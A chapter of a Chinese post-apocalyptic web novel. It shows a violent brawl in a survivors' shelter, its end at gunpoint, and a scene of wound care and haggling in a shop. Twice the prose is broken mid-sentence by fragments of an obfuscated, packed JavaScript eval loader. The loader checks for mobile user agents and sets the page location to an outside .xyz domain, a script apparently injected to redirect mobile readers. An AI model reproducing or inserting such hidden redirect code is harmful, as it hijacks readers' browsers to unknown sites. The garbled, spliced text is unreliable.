“赵婶......就是在旧世界开整形医院那个女的,也是个不好惹的主,李总裹着毛巾就找过去了,那只钱袋就放在赵婶家桌子上,但赵婶说这是李总欠他们家的,说她老公之前在居民交易市场、从李总老婆手里买来的皮鞋没过几天就开胶了,这些钱就当赔偿,那李总自然不买账...... “半小时前,李总跑去虎街,找了几个之前帮他要债的大哥,几个人拿着拖布和菜刀就去了,赵婶也不好惹,她儿子知道李总要找回来,摇了几个工友在门口守着,两伙人一见面就打起来了,周围人根本拦不住、也不敢拦......” 陆小川边跑边问:“一共有多少人?” 陶野回想片刻,“李总那边五个,赵婶那边,算上赵婶和他儿子,能有十来个,但双方开打之后,不少跟这两家有过恩怨的居民也混进去了......” 陆小川:“双方都有武器?” 陶野点头:“李总那边有弹簧刀和自制的甩棍,也不知道他们是从哪儿弄来这些东西的,至于赵婶那边,拖布杆、手电筒、桌椅板凳......连擀面杖都用上了。” 陆小川眉头紧蹙,意识到这事儿有些不好办。 C区一直是避难所内治安最差的地方,因为那里人员混杂,不少旧世界的老板、经理、富商如今都不得不蜗居在十几平米的低举架公寓,从事之前从未沾手过的体力劳动。 这些人心气很高,不愿服从管制,对C区待遇抱怨连连,还常常搬出旧世界的身份和律法震慑他人,在工地干活儿时也总想着偷工减料,给其他工友造成过不少麻烦。 更重要的是,一旦开打,双方都杀红了眼,喊话根本无济于事,陆小川只能跟着动手,捉住领头的往死里打,才能叫其他人冷静下来。 果然,抵达现场后,陆小川扯开嗓门对着二号院门口打作一团的闹事者大吼了好几声,吼声淹没在不绝于耳的咒骂与惨叫声中,激不起一丝水花。 见陆小川现身,不少居民簇拥着躲到他身后,小卖店的大爷从腰带里抽出一根木制鞋拔子递了过来,对着他将头一点,意思是“川哥,请多保重”。 于是陆小川提着鞋拔子冲了上去。 他一把将最外面翻滚在地上的两个年轻人扯开,拉开拦在前头举着擀面杖怪叫的赵婶,而后丢下鞋拔子,起跳钳住面前一名大汉的脖子,一记低扫踢将他放倒,抹掉汗水定睛看过去...... 视野之内,战场中心乱作一团。 除了两旁各自与几名年轻人僵持不下的虎街纹身大哥,正中心是被四五个男人按在地上的李总,李总身下压着一名年轻男子,看样子应该是赵婶的儿子,两个人都是头破血流、眼冒凶光。 如果是这种级别的混战,那么盯准一人下手的策略肯定行不通了。 陆小川观察片刻,决定逐一拉架。 他随手从地上拾起一根木棍,对着围殴者的后背猛敲了几下,那人却完全不搭理他,只是红着眼一下下挥拳打向身下的李总...... “别打了!” 陆小川在他们耳边大叫了几声,依旧于事无补,于是他上前用胳膊将其中一人钳住,用力将他从战场中心拖走,可刚退出没两步,一阵劲风袭来,腰际随即传来钝痛,不知何人飞出的怪力一脚将陆小川整个人踹飞了出去...... 陆小川飞出三米,后脑重重撞在院子里的木制牌桌上。 围观的居民发出一阵惊呼,陶野满脸惊恐地冲了过来。 陆小川痛得龇牙咧嘴,鼻息间涌上浓烈的铁锈气味,断裂的木刺划伤了他的手,视野一片昏黑。 他伸手摸向后脑,掌心是一片粘稠的湿润,陶野见他伤成这样,语言系统一时紊乱,只能不断重复着“卧草”,双手颤抖着试图将他扶起...... 在陶野的搀扶下,陆小川摇摇晃晃站起了身,他低头看向掌面上的鲜血,再度抬起头时,眼前的场景竟与记忆重叠,那些怒吼着趴伏在对手身上的C区居民变成了一头又一头满眼凶光、口吐獠牙的B02。 原来,真正的怪物就在他身边。 所以这就是新世界吗? 如果这就是他们所处的世界,那这样的世界,又和地狱有什么差别? 陆小川胸口窜起一阵无名火,额角青筋暴起,他举起一块断裂的木板,朝着不远处那名手持弹簧刀、已然放倒数人的纹身壮汉冲了过去…… “砰”地一声巨响,震耳欲聋的轰鸣冲破云霄,迫使所有人停下手上的动作,转头朝声源处望去...... 硝烟之下,一个身穿黑色卫衣的女人站在院口,右手高举着那把67式改装枪。 开枪前,楼依然取下了枪口的消音器。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943313|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > C区牛街三开洞二号院内,数十居民面带惊恐、双眼一眨不眨、身子一动不动地看向那个女人,那个手握银枪、在38号避难所内人尽皆知的女人。 见众人安静下来,楼依然放下枪,从腰间抽出了对讲。 调好频道后,她对着话筒怒吼起来:“三开洞二号院发生暴乱,虎街巡警队,你们是吃屎的吗?!” 骂完这句,她猛地将对讲摔到地上,破碎的黑色残片飞起溅出半米,不少人下意识跟着哆嗦了一下。 陆小川丢下手里的木板,跟着松了口气。 “所有人放下武器。” 见面前的纹身大哥纹丝未动,楼依然调转枪口指向他:“说你呢,放下武器!” 纹身大哥转了下眼珠,丢掉了手里的弹簧刀。 “所有人都放下!甩棍、菜刀、拖布杆!” 楼依然说着,猛地调转枪口指向赵婶,对着她厉吼:“擀面杖也算!” 一阵劈里啪啦,众人手里的物件散落一地。 一片狼藉中,一个蹲在地上的男人小声嘀咕了句,“关你什么事儿?”下一秒,楼依然大步向前,将枪口对准了他的脑门。 “你说呢?” 她居高临下看着那人,冷冷道: “陆小川是我外联队的人,他的事,就是我的事。” 陆小川一个没忍住,差点笑出了声。 不久后,巡警队的人终于赶到,他们将散落一地的“武器”统一收走,见不少人伤势惨重,又叫来了C区医疗队。 了解完事情经过后,巡警队只带走了一名纹身大哥,因为他用菜刀砍伤了五位C区居民,已犯下《新世界刑法》中的故意伤人罪,至于引发冲突的财务纠纷,巡警队勒令当事人自行调解。 但陆小川知道,被带走的纹身大哥很快就会被放出来。 因为避难所内并没有正规监狱,且严重缺乏人力,为了抵消罪责,他可能会被安排在休息日加班种地,直至积累到与其他居民一样的良民积分。 而对于这场冲突的导火索——李总在理发店丢失的那50枚幸运币,陆小川只觉得无语。 被楼依然带走前,陆小川看到李总仍追在巡警队身后背诵旧世界法条,要他们帮自己夺回失窃的财产,巡警队的人却只是低头走着,充耳不闻。 陆小川挣开楼依然,将兜里仅存的三十来个幸运币丢给李总,叫他拿着这些滚蛋。 这两年,为了化解C区居民之间的冲突,陆小川倒贴过不少幸运币。 不是他多么无私大方,而是他打心眼里觉得,幸运币只是末日后短时间内流通的币种,除了填饱肚子、增置家用,并无其他用途。 更重要的是,时至今日,他依然坚定地认为,这段被囚困在墙内的艰难时光很快就会过去。 正因此,幸存者理应团结、包容、互相取暖,只有这样,在不久后的将来,当他们走出高墙、尝试在广袤的废土上建立新的家园时,脚下的世界才会比之前的更加美好。 然而,交出那仅存的三十多枚幸运币,而后转身望向自家队长时,那束充满鄙夷的目光告诉陆小川,楼依然显然不这么认为。 15. 新社员(3) 离开二号院后,楼依然穿过C区狭窄的街巷,带着陆小川朝中央商城的方向走去。 陆小川本以为他们的目的地是就近的社区诊所,楼依然却说那里人太多,他可能到晚上都排不上号。 楼依然经过的时候,不断有路人驻足观望。 认出她的C区居民神色普遍困惑而又恐慌,不明白这位大人物是被什么风刮来的。 没见过楼依然的则盯得更加起劲,有人起先被她身上那件古驰卫衣吸引前来,临近后注意到那张美到不可方物的面孔,便更加移不开视线。 在那之后,当他们认出楼依然身后的陆小川,又纷纷对他露出意味深长的笑容,一些管不住嘴的甚至吹起了口哨,对着他起哄似地嚷嚷——“嚯!川哥这么快就发达了?” 楼依然走在前头,陆小川看不清她的表情,但他确实有些得意,好几次没压住嘴角,后脑和手臂上的伤口也没那么疼了。 类似的场景在大学期间也发生过一次。 那回,楼依然被班长派去采购班级团建所需的物资,身为体育委员的陆小川自告奋勇,陪她同去。 起初他只是担心楼依然一个人拿不动那些东西,但与她汇合进入超市后,陆小川很快注意到了其他顾客仿佛焊死在楼依然身上的目光...... 从一部分人的目光中,陆小川读出了玩味与欣赏,但更多人眼中几乎没有灵魂。 他们的眼球像是失去了控制,机械性地、对楼依然投来一种长久的、无意识的注视。 人类沉迷于美丽事物的特质似乎是一种本能。 感受到那些目光,作为楼依然身边的护花使者,陆小川会朝她靠近两步,故作熟络地指着目所能及的商品问她“我们需不需要这个”、“要不要买那个”...... 这种古怪的行为会带给他一种诡异的成就感,好像他是超市内唯一有资格与她攀谈的人。 那时,不少目光也会转而投到他身上。 当时他和楼依然并不熟悉,即便如此,光是能站在她身边就足以叫他感觉良好。 但眼下,他的手腕正被楼依然抓着。 陆小川理直气壮地迎上那些目光,脑海中不断重复播放着楼依然刚才的话。 ——“他的事,就是我的事。” 从牛街三开洞到中央商城需要走上十五分钟,但那天,时间好像一眨眼就过去了。 那是陆小川第二次来到中央商城。 毕竟,对于收入微薄的C区居民来说,各洞一号院小卖店里的东西就足够他们安稳度日了。 陆小川上一次走进这里,是因为收到了邻居老汪的邀请。 因为出色的木工手艺,老汪在这里开了一间家具店,里面有不少木雕摆件和家具,并且对避难所居民提供有偿装饰家具的服务。 当时陆小川在工地上没少帮衬小汪,还替他顶过一次锅,丢了不少积分。 为了表示感谢,老汪叫他来店里挑件礼物。 后来陆小川挑走了一只小巧精致的木制海豚摆件,时常把玩欣赏,可惜搬家那天,居民们冲进来后,那只海豚便不见踪影了。 迄今为止,老汪是C区唯一一名进驻中央商城的商户。 中央商城对加盟店主的要求很高。 简单来说,人脉、地位、手艺,三样中总要有一样出类拔萃,老汪便是手艺上的佼佼者,但C区像他这样的人才寥寥无几,就算有手艺,多数也由于缺乏原材料而无处施展。 老汪的客户大多是来自B区和A区的高级居民,也只有那些手头阔绰的人,才愿意在无关痛痒的家居美感上破费。 其他店铺的老板大多来自科研部,他们会定期制造一些在旧世界看来普遍、如今却几乎销声匿迹的商品,如吹风机、按摩仪、空气炸锅、电动剃须刀等。 剩余店铺的幕后金主则来自物资队,他们会将从废土中搜寻得来的物件高价出售,收益再与行政部门、物资队队长瓜分。 但一些C区居民曾经抱怨,说他们在中央商城中瞧见了自己进入避难所时被没收的私人物品,这样的指控在中央商城建立之初层出不穷,但随着时间的推移,这些人也决定不再追究了。 楼依然路过商铺时,店主们纷纷对她点头致意,她没有回应,只是径直拉着陆小川来到一间狭窄的铺面前停下,对看店的年轻伙计交代了几样物品,其中包括C3抑制剂、抗生素、酒精棉、医用胶布和止痛药。 正猫在账本前涂鸦的平头少年应了声,转身到后面的纸箱子里翻找起来。 楼依然叫出的那几样东西,在陆小川看来都价值连城。 尤其是止痛药,跟旧世界的雪茄差不多,他先前想都不敢想,但考虑到自己和楼依然的交情,陆小川觉得她应该不会问他要钱,索性没说什么,趴在柜台前四处张望。 陆小川发呆的工夫,楼依然绕到他身后,为他检查头上的伤口。 陆小川没多过问,他知道自己伤得不重,就是流了不少血,相比之下,他更好奇楼依然在这儿卖什么,定价如何,客户又都是些什么人。 他面前的玻璃柜上摆着不少洋酒,下面是堆叠如山的纸箱,以及看店伙计专注的屁股。 柜台上的盘子里摆着一些口香糖,旁边的架子上挂了几串避孕套,玻璃柜下是五颜六色、花样多到他想不到的香烟——国产和外烟都有,好几种他之前见都没见过。 伙计首先找到了C3抑制剂,楼依然将包装盒接过来,熟练推动活塞,轻弹针管,接着将陆小川的胳膊扯了过来。 后者乖巧地挽起袖子,眼看楼依然用纤长的手指在自己肘窝处摸了摸,用酒精棉略微擦拭,而后精准扎进血管,缓慢推动活塞...... 她的动作很温柔,整个过程无痛,甚至还有些甜美。 注射结束后,她冷着脸递来棉签,命令陆小川按住伤口,然后接过伙计递来的碘伏棉签和医用胶布,为他处理了手臂上的伤口。 看着楼依然熟练的手法,陆小川忍不住问出了那个问题。 “两年前你似乎就很熟悉这些,你是从哪儿学来的?” 楼依然低着头,不假思索:“我父亲。” “他是医生?” 楼依然停下手里的动作,眼里闪过一瞬间的迟疑,而后摇了摇头:“他是生物学家。” 陆小川默默点头。 他知道楼依然来自Y市,那是末日爆炸发生的地方,病毒至今未散,她的家人很可能已经不在了。 但就和末日发生时一样,面对那场几乎毁灭她家乡的灾难,以及那些很可能已经变成怪物的亲人,楼依然的表现,一直都很冷淡。 或许,就在那些躲在面馆后厨默默流泪的夜晚,她已独自将这些情绪消化完全。 又或许,她的冷淡只是一种逃避。 或许这才是她加入外联队、一心追查黎明会动向的原因,但不论如何,在那个不合时宜的场合,陆小川都不方便再问下去了。 楼依然为陆小川包扎脑后的伤口时,有位西装革履的中年男人到店里买走了几包香烟。 陆小川借机转移了话题,他问她,你又不缺钱,为什么要开店卖这些。 片刻后,楼依然给出了一句高深莫测的回答。 她说:“相比物质需求,精神需求才是人类文明发展的原动力。” 陆小川转过头,有些讶异地看向了她。 “换句话说,”楼依然接着道:“人活着,日子总要有些盼头。” 她说着看向陆小川身后的酒柜,“这些东西,就是避难所居民工作赚钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943314|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盼头,日子没有盼头,就会发生像今天这样的事。 “人们不计后果地宣泄愤怒,因为他们觉得自己已经没什么可以失去的了,但如果当中有个人还想着要攒钱买酒,他就不会为了50枚幸运币和别人大打出手,因为事后还要看病、买药,承担责任,到时候只会亏损更多。 “这些普通人消费不起的东西,能让人安分守己,也能让人变得理智,对未来多些期待。” 听完这些,陆小川不禁发出由衷的感慨:“好精明的消费主义陷阱!” 楼依然白了他一眼,而后单手撑上柜台,问看店伙计要来了账簿,执笔计算起来。 陆小川有些发慌。 片刻后,楼依然将账簿推到他面前。 “一共520幸运币,减去外联内部折扣和保险,再抹个零头,你给我400就好。” 陆小川尴尬地笑了:“楼队,刚刚给出去那三十......是我口袋里仅剩的钱了,您看......” “怎么可能?”楼依然挑眉,“那你未来几天怎么办?” 陆小川嘿嘿一笑,“家里还有大牛给的泡面。” 楼依然故作为难地用笔在账簿上点了点。 “那只能从你下次任务薪酬里扣了,算上利息......” 陆小川低下头,露出一个苦笑。 与此同时,鼻息间混入一股浓烈的香气,一阵女声在他耳后响起。 “楼队,你能搞来面膜吗?” 陆小川回过头,发觉面前站着一位身穿棕色风衣,手提爱马仕皮包的都市丽人,而她前来问询的那样东西,他已有两年未曾听过了。 楼依然抬手在玻璃柜台上点了点,“五百。” 女人拧眉,“怎么这么贵?” 楼依然淡淡道:“末日前生产的面膜如今大部分都已经过期了,找起来很麻烦,五百十片,嫌贵就算了,正好我也懒得跑。” 女人犹豫片刻,最终还是留下了250幸运币的定金,楼依然将那些钱推给看店伙计,转头叫女人留下住址,说到货后会派人上门送货。 目睹完整场交易,陆小川大致理解了楼依然在C区臭名昭著的原因。 放眼整座中央商城,只有楼依然名下这一间店铺会接这种生意。 顾客自行上门,报出需要的货品,而后由楼依然坐地起价,并且,不管她能不能从废土中找到这样东西,客人都要预付一半定金,收货后再付全款,收不到货,定金也恕不退还。 因为无论如何,楼依然以及与她合作的物资队员都要在废土上冒着生命危险寻找这些东西,定金便是他们的劳务费,而大部分上门求助的C区居民订购的都是些治疗罕见病的药物,过敏、风湿、角膜炎…… 在这种情况下,不少人支付了天价定金,却迟迟等不来救命的药物,自然恼羞成怒,将楼依然打成黑心毒妇,在外痛骂她无良无耻。 楼依然在待办列表加上“面膜”二字后,将那张纸撕下来,转手交给了陆小川。 “交给你了。”她漫不经心道:“这张价值五百幸运币的单子,刚好可以抵消你的债务。” 捧着那张纸,陆小川仿佛又闻到了那位都市丽人身上浓烈的香水味,他有些为难地看向楼依然:“要是我找不到怎么办?” “很好找的,多跑跑就好。” 说话的同时,楼依然从箱子里找到一只橡皮,随手丢到看店伙计面前,后者被她威严的目光笼罩着,心虚地低下头,小心将账本上的涂鸦一一蹭掉。 陆小川看着平头少年哆哆嗦嗦的模样,觉得有些好笑。 “楼依然。” 楼依然转过头,发觉陆小川正挑着眉打量她,身子前倾,目光深邃。 “听说你只选男人作副队,为什么?”